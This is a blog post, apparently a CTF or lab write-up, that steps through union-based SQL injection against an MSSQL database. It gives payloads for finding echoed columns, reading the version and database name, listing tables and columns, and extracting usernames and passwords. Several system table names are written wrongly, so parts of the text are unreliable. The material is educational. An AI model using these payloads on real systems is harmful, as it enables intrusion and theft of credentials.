首页 > 数据库 >mssql database actual combat

mssql database actual combat

时间:2023-10-03 23:23:56浏览次数:45  
标签:actual name combat database -- id union mssql select

speculating echoed bit location

1' union select 1,2,3,4,5,6;-- -

echo bit at 2 and 3

mssql version detecting

1' union select 1,@@version,3,4,5,6;-- - 

confirming the current database

1' union select 1,db_name(),3,4,5,6;-- - ##error
--
except system variable,we have to use select to bring out data from master..systemdatabases
1' union select 1,(select db_name()),3,4,5,6 from master..systemdatabases;-- - ##true

exploring the table from streamio(db_name())

1' union select 1,name,id,4,5,6 from master..systemdatabases where xtype='U';-- - 
--
tips:because this table was created by user,the storage type 'xtype' is 'U' and we must specify xtype
at the time we query for table

exploring the columns from name and id 

1'union selct 1,col_name(object_id('users'),2,3,4,5,6 from systemobject;-- - X #error
--
a.we have to specify database's systemobjects that inquire data
b.we have to remember when want to inquire columns using col_name(object_id('xx')) and id to query
--
1' union select 1,col_name(object_id('users')),2,3,4,5,6 from streamio..systemobjects
where id in (885578193,9051578250);-- -

extracting the data stored in columns

1' union select 1,concat(username,0x7e,password),3,4,5,6 from users;-- -
1' union select 1,concat(username,':',password),3,4,5,6 from users;-- -

steps over

summary

the vital thing in mssql query as following:

1.two system level variable master..systemdatabases and db_name()_systemobjects

2.table query need to distinguish variable xtype ,sql server have different components like  user customized database with table named and system level database named S

 3.if the data stored in columns that too big for echoed bit,we have to utiliz concat to bring out the data without truncation

标签:actual,name,combat,database,--,id,union,mssql,select
From: https://www.cnblogs.com/lisenMiller/p/17741799.html

相关文章

  • 34 GB of commited memory but no app actually commited that much
    34GBofcommitedmemorybutnoappactuallycommitedthatmuchAskQuestionAsked 3years,8monthsagoModified 3years,8monthsagoViewed 493times 3SometimesIencounterOutofmemoryerrorsandWindowsEventViewershowsthis(tra......
  • mssql中常用的字符串函数大集合
    1.绝对值SQL:selectabs(-1)valueO:selectabs(-1)valuefromdual2.取整(大)S:selectceiling(-1.001)valueO:selectceil(-1.001)valuefromdual3.取整(小)S:selectfloor(-1.001)valueO:selectfloor(-1.001)valuefromdual4.取整(截取)S:selectcast(-1.002asint)v......
  • centos安装php扩展mssql
    注意:1、server-dsn是数据源,事先在freetds.conf配置好的[server-dsn]    host=192.168.10.125    port=1433    tdsversion=8.0clientcharset=UTF-8开始安装1、输入安装命令 自动先安装freetds安装包sudo yum install php-mssql -ysudo ......
  • Java连接MSSQL2012数据报TLS10 is not accepted by client preferences [TLS13, TLS12
    这一问题好像是因为Java新版本禁用了些老的加密算法引起的,解决方法为修改java.security文件里的配置信息即可。我用的是Java21,在安装目录 Java\jdk-21\conf\security下找到java.security文件,用记事本打开,搜索TLSv1,大概在752行的位置有如下配置信息:jdk.tls.disabledAlgorithm......
  • MSSQL 维护小记(清理进程、重建索引)
    ------------------------------清理进程----------------------------------- declare@deleteSleepSessionnvarchar(100)--申明一个变量declaretablelistcursorlocal--申明一个本地游标forselect'kill'+rtrim(spid)frommaster.dbo.sysprocesses--数据库系统进......
  • 分享攒了多年的mssql脚本
    分享攒了多年的mssql脚本 分享攒了多年的mssql脚本脚本类别包括:备份还原表分区常用函数错误日志定时自动抓取耗时SQL并归档发邮件脚本模块镜像批量脚本数据库收缩数据库损坏数据库账号统计数据库大小性能作业脚本数量:54个 github地址:https://github.com/xiaohuazi123/ms......
  • linux里python读写mssql数据库的笔记
    1、安装pyodbcpip3installpyodbc我用的debian12,可以直接aptinstallpython3-pyodbc2、还需要安装linux版的mssqlclient参考这里:https://learn.microsoft.com/en-us/sql/connect/odbc/linux-mac/installing-the-microsoft-odbc-driver-for-sql-server?view=sql-server-ver......
  • 【转载】MSSQL @@ERROR 使用
    mssql@@ERROR使用mssql@@ERROR是一个系统保存的整型变量,它是用来保存上一次Transact-SQL语句执行时发生错误的错误代码。可以使用SELECT@@ERROR查看该变量的值。它通常用在TRY-CATCH块中,在CATCH块中将错误信息输出到日志或者显示给用户。下面通过两个示例来说明如何使用mssq......
  • 【转载】MSSQL中的 GOTO 语句
    MSSQL中的GOTO语句Goto语句是微软的SQLServer关系数据库提供了非常实用的编程控制语句,可以帮助开发人员实现复杂的逻辑控制。它有三种用法,分别是“跳转到指定标记”,“跳转到当前请求域”和“跳转到新请求域”。 Goto语句可用于提高存储过程、触发器和脚本的可读性,简化编程模......
  • [MSSQL]开启/关闭Ad Hoc Distributed Queries组件
    SQLServer阻止了对组件“AdHocDistributedQueries”的STATEMENT“OpenRowset/OpenDatasource”的访问开启组件:execsp_configure'showadvancedoptions',1reconfigureexecsp_configure'AdHocDistributedQueries',1reconfigure关闭组件:execsp_configur......